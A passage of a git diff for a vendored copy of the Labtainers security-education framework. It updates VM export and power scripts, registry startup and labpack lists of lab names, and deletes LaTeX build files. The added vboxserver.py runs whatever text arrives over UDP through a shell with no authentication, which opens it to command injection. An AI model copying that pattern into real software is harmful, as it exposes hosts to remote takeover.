exportVB.sh. Use dd if=/dev/zero of=wipefile bs=1024x1024; rm wipefile on the VM to zero unused space, then -run compact.sh to squeeze the vm. + +Use box.com web interface to push ova's to the labtainer vms folder. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/push.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/push.txt deleted file mode 100644 index b799560b1..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/push.txt +++ /dev/null @@ -1,7 +0,0 @@ -open mfthomps@205.155.65.42 -cd /data/sites/CyberCIEGE/downloads -option transfer binary -put z:\home\mike\labtainer-scripts\vbox\LabtainerVM-VirtualBox.ova -put z:\home\mike\labtainer-scripts\vmware\LabtainerVM-VMWare.ova -close -exit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/registry/start_reg.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/registry/start_reg.sh index 50b79b492..fb75f22d6 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/registry/start_reg.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/registry/start_reg.sh @@ -1 +1,29 @@ docker run -d -p 5000:5000 --restart=always -e REGISTRY_HTTP_ADDR=testregistry:5000 --name registry registry:2 + +docker run -d \ + -e REGISTRY_HTTP_ADDR=0.0.0.0:5001 \ + -p 5001:5001 \ + --name registry-5001 \ + registry:2 + +docker run -d \ + -e REGISTRY_HTTP_ADDR=0.0.0.0:5002 \ + -p 5002:5002 \ + --name registry-5002 \ + registry:2 + +docker run -d \ + -e REGISTRY_HTTP_ADDR=0.0.0.0:5003 \ + -p 5003:5003 \ + --name registry-5003 \ + registry:2 +docker run -d \ + -e REGISTRY_HTTP_ADDR=0.0.0.0:5004 \ + -p 5004:5004 \ + --name registry-5004 \ + registry:2 +docker run -d \ + -e REGISTRY_HTTP_ADDR=0.0.0.0:5005 \ + -p 5005:5005 \ + --name registry-5005 \ + registry:2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/remote/remote.py b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/remote/remote.py new file mode 100755 index 000000000..280928d0d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/remote/remote.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +import socket +import sys +import argparse +all_args = ' '.join(sys.argv[1:]) +PORT = 60000 +host = '127.0.0.1' + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Display and alter state of a Labtainer exercise on remote VM.') + parser.add_argument('-l', '--lab', action='store', help='manage this lab') + parser.add_argument('-c', '--copy', action='store', help='Copy files per the named directive.') + parser.add_argument('-s', '--status', action='store_true', default=False, help='status of lab on this VM') + parser.add_argument('-p', '--port', action='store', default=PORT, help='Remote port, default is %d' % PORT) + parser.add_argument('-d', '--destination', action='store', default=host, help='Remote host, default is %s' % host) + args = parser.parse_args() + + server = (args.destination, args.port) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect(server) + if args.status: + sock.sendall(b'status') + got = sock.recv(1024) + print(got.decode('utf-8')) + elif args.copy is not None: + if args.lab is not None: + cmd = 'copy %s %s' % (args.lab, args.copy) + sock.sendall(cmd.encode()) + got = sock.recv(1024) + print(got.decode('utf-8')) + else: + print('Need --lab argument') + args.usage() + else: + print('Need --copy argument') + args.usage() + sock.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/powerSmoke.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/powerSmoke.sh new file mode 100755 index 000000000..c3c385b82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/powerSmoke.sh @@ -0,0 +1,2 @@ +#!/bin/bash +vboxmanage startvm "LabtainerVM-2-smoketest" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/powerSmokeOld.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/powerSmokeOld.sh new file mode 100755 index 000000000..f3f997fc3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/powerSmokeOld.sh @@ -0,0 +1,2 @@ +#!/bin/bash +vboxmanage startvm "SmokeTest" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/smoke.cron b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/smoke.cron new file mode 100755 index 000000000..b2deff845 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/smoke.cron @@ -0,0 +1 @@ +0 2 * * * /home/mike/SEED/host_scripts/testscripts/powersmoke.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/vbox-test-server.service b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/vbox-test-server.service new file mode 100644 index 000000000..b379b780e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/vbox-test-server.service @@ -0,0 +1,13 @@ +[Unit] +Description="Labtainer smoke test VirtualBox server" + +[Service] +User=mike +ExecStart=/home/mike/SEED/host_scripts/testscripts/vboxserver.py +ExecStop=/usr/bin/killall vboxserver.py +#Restart=on-failure +#Restart-sec=2 + +[Install] +WantedBy=multi-user.target + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/vboxserver.py b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/vboxserver.py new file mode 100755 index 000000000..7fbc778a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/testscripts/vboxserver.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python3 +import socket +import sys +import subprocess +''' + +''' + +def doCommand(cmd, log): + vb_cmd = 'vboxmanage %s' % cmd + ps = subprocess.Popen(vb_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + retval = '' + for line in output[0].decode('utf-8').splitlines(): + log.write(line+'\n') + retval += line+'\n' + for line in output[1].decode('utf-8').splitlines(): + log.write(line+'\n') + retval += line+'\n' + return retval + +if __name__ == '__main__': + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + #server_addr = ('192.168.122.1', 6000) + server_addr = ('10.20.200.41', 6000) + logfile='/tmp/vboxserver.log' + log = open(logfile,'w') + log.write('do bind'+'\n') + sock.bind(server_addr) + while True: + got, addr = sock.recvfrom(4096) + #print('g %s addr %s' % (got, addr)) + if got is None or len(got) == 0: + log.write('got zilch, quit'+'\n') + exit(0) + got = got.decode() + log.write('got %s\n' % got) + result = doCommand(got, log) + sock.sendto(result.encode(), addr) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/compact.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/compact.sh index c1ce5d158..1dfcbe922 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/compact.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/compact.sh @@ -8,4 +8,5 @@ # # to zero unused space # -vmware-vdiskmanager -k ~/VirtualBox\ VMs/Labtainer\ VM/*vmdk +#VBoxManage modifymedium disk "/VMs/NewVirtualDisk1.vdi" --compact +VBoxManage modifymedium disk "$HOME/VirtualBox VMs/LabtainerVM24/LabtainerVM24.vdi" --compact diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/exportVB.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/exportVB.sh index 0f7cf7daf..6f2dc613d 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/exportVB.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/exportVB.sh @@ -1,6 +1,6 @@ #!/bin/bash rm LabtainerVM-VirtualBox.ova -vboxmanage export "Labtainer VM" -o LabtainerVM-VirtualBox.ova -vboxmanage unregistervm LabtainerVM-test --delete -vboxmanage import LabtainerVM-VirtualBox.ova --vsys 0 --vmname LabtainerVM-test -vboxmanage startvm "LabtainerVM-test" +vboxmanage export "LabtainerVM24" -o LabtainerVM-VirtualBox.ova +#vboxmanage unregistervm LabtainerVM-test --delete +#vboxmanage import LabtainerVM-VirtualBox.ova --vsys 0 --vmname LabtainerVM-test +#vboxmanage startvm "LabtainerVM-test" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweroffVB.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweroffVB.sh index f5e98555e..8b9330ebc 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweroffVB.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweroffVB.sh @@ -1,2 +1,2 @@ #!/bin/bash -vboxmanage controlvm "Labtainer VM" acpipowerbutton +vboxmanage controlvm "LabtainerVM24" acpipowerbutton diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweronVB.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweronVB.sh index 27b64bd00..8aa98a1d0 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweronVB.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweronVB.sh @@ -1,3 +1,3 @@ #!/bin/bash #vboxmanage startvm "Labtainer VM" --type headless -vboxmanage startvm "Labtainer VM" +vboxmanage startvm "LabtainerVM24" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/compact.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/compact.sh index 622e93b53..3184c93aa 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/compact.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/compact.sh @@ -1,3 +1,4 @@ # first use dd if=/dev/zero of=wipefile bs=1024x1024; rm wipefile on the VM -vmware-vdiskmanager -k /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-disk1.vmdk +#vmware-vdiskmanager -k /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-disk1.vmdk +/Applications/VMware\ Fusion.app/Contents/Library/vmware-vdiskmanager -k "$HOME/Virtual Machines.localized/Ubuntu 64-bit 24.04.vmwarevm/Virtual Disk.vmdk" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/export.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/export.sh index 6c3428c05..f16da3b42 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/export.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/export.sh @@ -1,7 +1,12 @@ #!/bin/bash rm -f ./LabtainerVM-VMWare.ova -ovftool /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare.vmx ./LabtainerVM-VMWare.ova -rm -f /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-test* -ovftool -n=LabtainerVM-VMWare-test LabtainerVM-VMWare.ova /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-test.vmx -vmrun start /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-test.vmx +"/Applications/VMware Fusion.app/Contents/Library/VMware OVF Tool/ovftool" "$HOME/Virtual Machines.localized/Ubuntu 64-bit 24.04.vmwarevm/Ubuntu 64-bit 24.04.vmx" ./LabtainerVM-VMWare.ova +#rm -f /VMs/LabtainerVM-2-VMware/LabtainerVM-VMware-test* +#ovftool -o --lax -n=LabtainerVM-VMware-test LabtainerVM-VMWare.ova /VMs/LabtainerVM-2-VMware/LabtainerVM-2-VMware/LabtainerVM-VMware-test.vmx +#RESULT=$? +#if [ $RESULT -eq 0 ];then +# vmrun start /VMs/LabtainerVM-2-VMware/LabtainerVM-2-VMware/LabtainerVM-VMware-test.vmx +#else +# echo "Failed to build test VM" +#fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweroff.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweroff.sh index 63a3ae57a..ce18034cb 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweroff.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweroff.sh @@ -1 +1 @@ -vmrun stop /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare.vmx +vmrun stop /VMs/LabtainerVM-2-VMware/LabtainerVM-2-VMware/LabtainerVM-2-VMware.vmx diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweron.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweron.sh index 99ded9003..3187cb1e4 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweron.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweron.sh @@ -1 +1 @@ -vmrun start /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare.vmx +vmrun start /VMs/LabtainerVM-2-VMware/LabtainerVM-2-VMware/LabtainerVM-2-VMware.vmx diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/teston.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/teston.sh index 262ae5ea9..75e2ea59c 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/teston.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/teston.sh @@ -1,3 +1,3 @@ #!/bin/bash -vmrun start /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-test.vmx +vmrun start /VMs/LabtainerVM-2-VMware/LabtainerVM-2-VMware/LabtainerVM-VMware-test.vmx diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/winscp b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/winscp deleted file mode 100755 index 9caa557a9..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/winscp +++ /dev/null @@ -1 +0,0 @@ -wine /opt/WinSCP/WinSCP.com /script=push.txt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/access.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/access.labpack new file mode 100644 index 000000000..46a979635 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/access.labpack @@ -0,0 +1 @@ +{"description": "Authentication and access control", "labs": [{"name": "users", "notes": ""}, {"name": "acl", "notes": ""}, {"name": "sshlab", "notes": ""}, {"name": "ssh-agent", "notes": ""}, {"name": "ldap", "notes": ""}, {"name": "radius", "notes": ""}, {"name": "db-access", "notes": ""}], "order": 500, "name": "access"} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/crypto.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/crypto.labpack new file mode 100644 index 000000000..6156906d2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/crypto.labpack @@ -0,0 +1 @@ +{"description": "Applied cryptography", "labs": [{"name": "onewayhash", "notes": ""}, {"name": "macs-hash", "notes": ""}, {"name": "pubkey", "notes": ""}, {"name": "sshlab", "notes": ""}, {"name": "ssl", "notes": ""}, {"name": "symkeylab", "notes": ""}, {"name": "vpnlab2", "notes": ""}, {"name": "pass-crack", "notes": ""}], "order": 400, "name": "crypto"} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/ics.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/ics.labpack new file mode 100644 index 000000000..f53969eab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/ics.labpack @@ -0,0 +1 @@ +{"description": "Industrial Control Systems / Operational Technology", "labs": [{"name": "plc", "notes": ""}, {"name": "plc-app", "notes": ""}, {"name": "softplc2", "notes": ""}, {"name": "iptables-ics", "notes": ""}, {"name": "grassmarlin", "notes": ""}, {"name": "plc-traffic", "notes": ""}, {"name": "plc-forensics", "notes": ""}, {"name": "plc-forensics-adv", "notes": ""}], "name": "ics", "order": 900} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/net-traffic.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/net-traffic.labpack new file mode 100644 index 000000000..bc11f6f16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/net-traffic.labpack @@ -0,0 +1 @@ +{"description": "Network traffic analysis", "labs": [{"name": "packet-introspection", "notes": ""}, {"name": "pcap-lib", "notes": ""}, {"name": "netflow", "notes": ""}, {"name": "grassmarlin", "notes": ""}, {"name": "plc-traffic", "notes": ""}, {"name": "plc-forensics", "notes": ""}], "order": 600, "name": "net-traffic"} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/network-intro.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/network-intro.labpack new file mode 100644 index 000000000..b6769e720 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/network-intro.labpack @@ -0,0 +1 @@ +{"description": "Introduction to basic network concepts", "labs": [{"name": "network-basics", "notes": ""}, {"name": "routing-basics", "notes": ""}, {"name": "telnetlab", "notes": ""}, {"name": "pcapanalysis", "notes": ""}, {"name": "wireshark-intro", "notes": ""}], "order": 100, "name": "network-intro"} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/networks.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/networks.labpack new file mode 100644 index 000000000..694fad95d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/networks.labpack @@ -0,0 +1 @@ +{"description": "Network security labs", "labs": [{"name": "arp-spoof", "notes": ""}, {"name": "nmap-discovery", "notes": ""}, {"name": "nmap-ssh", "notes": ""}, {"name": "iptables2", "notes": ""}, {"name": "tcpip", "notes": ""}, {"name": "local-dns", "notes": ""}, {"name": "dmz-lab", "notes": ""}, {"name": "snort", "notes": ""}, {"name": "bird-bgp", "notes": ""}, {"name": "bird-ospf", "notes": ""}], "order": 200, "name": "networks"} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/operations.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/operations.labpack new file mode 100644 index 000000000..67439572f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/operations.labpack @@ -0,0 +1 @@ +{"description": "Computer security operations and administration", "labs": [{"name": "users", "notes": ""}, {"name": "backups2", "notes": ""}, {"name": "centos-log2", "notes": ""}, {"name": "file-deletion", "notes": ""}, {"name": "file-integrity", "notes": ""}, {"name": "capabilities", "notes": ""}, {"name": "denyhost", "notes": ""}, {"name": "ossec", "notes": ""}], "order": 300, "name": "operations"} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/vuln.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/vuln.labpack new file mode 100644 index 000000000..864667fcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/vuln.labpack @@ -0,0 +1 @@ +{"description": "Software vulnerability analysis and exploitation", "labs": [{"name": "overrun", "notes": ""}, {"name": "bufoverflow", "notes": ""}, {"name": "printf", "notes": ""}, {"name": "formatstring", "notes": ""}, {"name": "retlibc", "notes": ""}, {"name": "setuid-env", "notes": ""}, {"name": "ghidra", "notes": ""}, {"name": "cgc", "notes": ""}], "order": 800, "name": "vuln"} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/web-security.labpack b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/web-security.labpack new file mode 100644 index 000000000..acf9541f3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labpacks/web-security.labpack @@ -0,0 +1 @@ +{"description": "Web security labs", "labs": [{"name": "webtrack", "notes": ""}, {"name": "pubkey", "notes": ""}, {"name": "xforge", "notes": ""}, {"name": "xsite", "notes": ""}, {"name": "sql-inject", "notes": ""}], "order": 700, "name": "web-security"} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/fixlocal.sh index 9c1dbd2eb..2eacee238 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/fixlocal.sh @@ -12,6 +12,7 @@ echo $1 | sudo -S chmod 660 /shared_data/bob/bobstuff.txt echo $1 | sudo -S chown -R alice:alice /shared_data/alice echo umask 007 | sudo tee -a /home/bob/.bashrc echo umask 007 | sudo tee -a /home/alice/.bashrc +echo $1 | sudo -S chmod 640 /shared_data/accounting.txt echo $1 | sudo -S setfacl -m "u:harry:rw" /shared_data/accounting.txt echo $1 | sudo -S setfacl -m "u:alice:r" /shared_data/accounting.txt echo $1 | sudo gpasswd -d alice wheel diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/keywords.txt new file mode 100644 index 000000000..3e905bbcc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/keywords.txt @@ -0,0 +1,4 @@ +acl +dac +access control +trojan horse diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.aux deleted file mode 100644 index 9f74e5cd9..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.aux +++ /dev/null @@ -1,27 +0,0 @@ -\relax -\providecommand\hyper@newdestlabel[2]{} -\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} -\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined -\global\let\oldcontentsline\contentsline -\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} -\global\let\oldnewlabel\newlabel -\gdef\newlabel#1#2{\newlabelxx{#1}#2} -\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} -\AtEndDocument{\ifx\hyper@anchor\@undefined -\let\contentsline\oldcontentsline -\let\newlabel\oldnewlabel -\fi} -\fi} -\global\let\hyper@last\relax -\gdef\HyperFirstAtBeginDocument#1{#1} -\providecommand\HyField@AuxAddToFields[1]{} -\providecommand\HyField@AuxAddToCoFields[2]{} -\@writefile{toc}{\contentsline {section}{\numberline {1}Overview}{1}{section.1}} -\@writefile{toc}{\contentsline {section}{\numberline {2}Lab Environmnet}{1}{section.2}} -\@writefile{toc}{\contentsline {section}{\numberline {3}Setup}{1}{section.3}} -\@writefile{toc}{\contentsline {section}{\numberline {4}Lab Tasks}{1}{section.4}} -\@writefile{toc}{\contentsline {subsection}{\numberline {4.1}Review existing file permissions}{1}{subsection.4.1}} -\@writefile{toc}{\contentsline {subsection}{\numberline {4.2}Task 2: Set an ACL on a single file}{2}{subsection.4.2}} -\@writefile{toc}{\contentsline {subsection}{\numberline {4.3}Task 2: Set an default ACL for a directory}{2}{subsection.4.3}} -\@writefile{toc}{\contentsline {subsection}{\numberline {4.4}Task 3: Trojan Horses}{2}{subsection.4.4}} -\@writefile{toc}{\contentsline {section}{\numberline {5}Submission}{3}{section.5}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.dvi deleted file mode 100644 index 2f9c673b7..000000000 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.dvi and /dev/null differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.log b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.log deleted file mode 100644 index 97fdecc31..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.log +++ /dev/null @@ -1,484 +0,0 @@ -This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2019.12.6) 6 DEC 2019 16:54 -entering extended mode - restricted \write18 enabled. - %&-line parsing enabled. -**acl -(./acl.tex -LaTeX2e <2016/02/01> -Babel <3.9q> and hyphenation patterns for 3 language(s) loaded. -(./header.tex (/usr/share/texlive/texmf-dist/tex/latex/base/article.cls -Document Class: article 2014/09/29 v1.4h Standard LaTeX document class -(/usr/share/texlive/texmf-dist/tex/latex/base/size11.clo -File: size11.clo 2014/09/29 v1.4h Standard LaTeX file (size option) -) -\c@part=\count79 -\c@section=\count80 -\c@subsection=\count81 -\c@subsubsection=\count82 -\c@paragraph=\count83 -\c@subparagraph=\count84 -\c@figure=\count85 -\c@table=\count86 -\abovecaptionskip=\skip41 -\belowcaptionskip=\skip42 -\bibindent=\dimen102 -) -(/usr/share/texlive/texmf-dist/tex/latex/psnfss/times.sty -Package: times 2005/04/12 PSNFSS-v9.2a (SPQR) -) -(/usr/share/texlive/texmf-dist/tex/generic/epsf/epsf.sty -This is `epsf.tex' v2.7.4 <14 February 2011> -\epsffilein=\read1 -\epsfframemargin=\dimen103 -\epsfframethickness=\dimen104 -\epsfrsize=\dimen105 -\epsftmp=\dimen106 -\epsftsize=\dimen107 -\epsfxsize=\dimen108 -\epsfysize=\dimen109 -\pspoints=\dimen110 -) (/usr/share/texlive/texmf-dist/tex/latex/graphics/epsfig.sty -Package: epsfig 1999/02/16 v1.7a (e)psfig emulation (SPQR) - -(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty -Package: graphicx 2014/10/28 v1.0g Enhanced LaTeX Graphics (DPC,SPQR) - -(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty -Package: keyval 2014/10/28 v1.15 key=value parser (DPC) -\KV@toks@=\toks14 -) -(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty -Package: graphics 2016/01/03 v1.0q Standard LaTeX Graphics (DPC,SPQR) - -(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty -Package: trig 2016/01/03 v1.10 sin cos tan (DPC) -) -(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/graphics.cfg -File: graphics.cfg 2010/04/23 v1.9 graphics configuration of TeX Live -) -Package graphics Info: Driver file: pdftex.def on input line 95. - -(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def -File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX - -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/infwarerr.sty -Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) -) -(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ltxcmds.sty -Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) -) -\Gread@gobject=\count87 -)) -\Gin@req@height=\dimen111 -\Gin@req@width=\dimen112 -) -\epsfxsize=\dimen113 -\epsfysize=\dimen114 -) -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty -Package: amsmath 2016/03/03 v2.15a AMS math features -\@mathmargin=\skip43 - -For additional information on amsmath, use the `?' option. -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty -Package: amstext 2000/06/29 v2.01 AMS text - -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty -File: amsgen.sty 1999/11/30 v2.0 generic functions -\@emptytoks=\toks15 -\ex@=\dimen115 -)) -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty -Package: amsbsy 1999/11/29 v1.2d Bold Symbols -\pmbraise@=\dimen116 -) -(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty -Package: amsopn 1999/12/14 v2.01 operator names -) -\inf@bad=\count88 -LaTeX Info: Redefining \frac on input line 199. -\uproot@=\count89 -\leftroot@=\count90 -LaTeX Info: Redefining \overline on input line 297. -\classnum@=\count91 -\DOTSCASE@=\count92 -LaTeX Info: Redefining \ldots on input line 394. -LaTeX Info: Redefining \dots on input line 397. -LaTeX Info: Redefining \cdots on input line 518. -\Mathstrutbox@=\box26 -\strutbox@=\box27 -\big@size=\dimen117 -LaTeX Font Info: Redeclaring font encoding OML on input line 630. -LaTeX Font Info: Redeclaring font encoding OMS on input line 631. -\macc@depth=\count93 -\c@MaxMatrixCols=\count94 -\dotsspace@=\muskip10 -\c@parentequation=\count95 -\dspbrk@lvl=\count96 -\tag@help=\toks16 -\row@=\count97 -\column@=\count98 -\maxfields@=\count99 -\andhelp@=\toks17 -\eqnshift@=\dimen118 -\alignsep@=\dimen119 -\tagshift@=\dimen120 -\tagwidth@=\dimen121 -\totwidth@=\dimen122 -\lineht@=\dimen123 -\@envbody=\toks18 -\multlinegap=\skip44 -\multlinetaggap=\skip45 -\mathdisplay@stack=\toks19 -LaTeX Info: Redefining \[ on input line 2735. -LaTeX Info: Redefining \] on input line 2736. -) -(/usr/share/texlive/texmf-dist/tex/latex/base/alltt.sty -Package: alltt 1997/06/16 v2.0g defines alltt environment -) -(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amssymb.sty -Package: amssymb 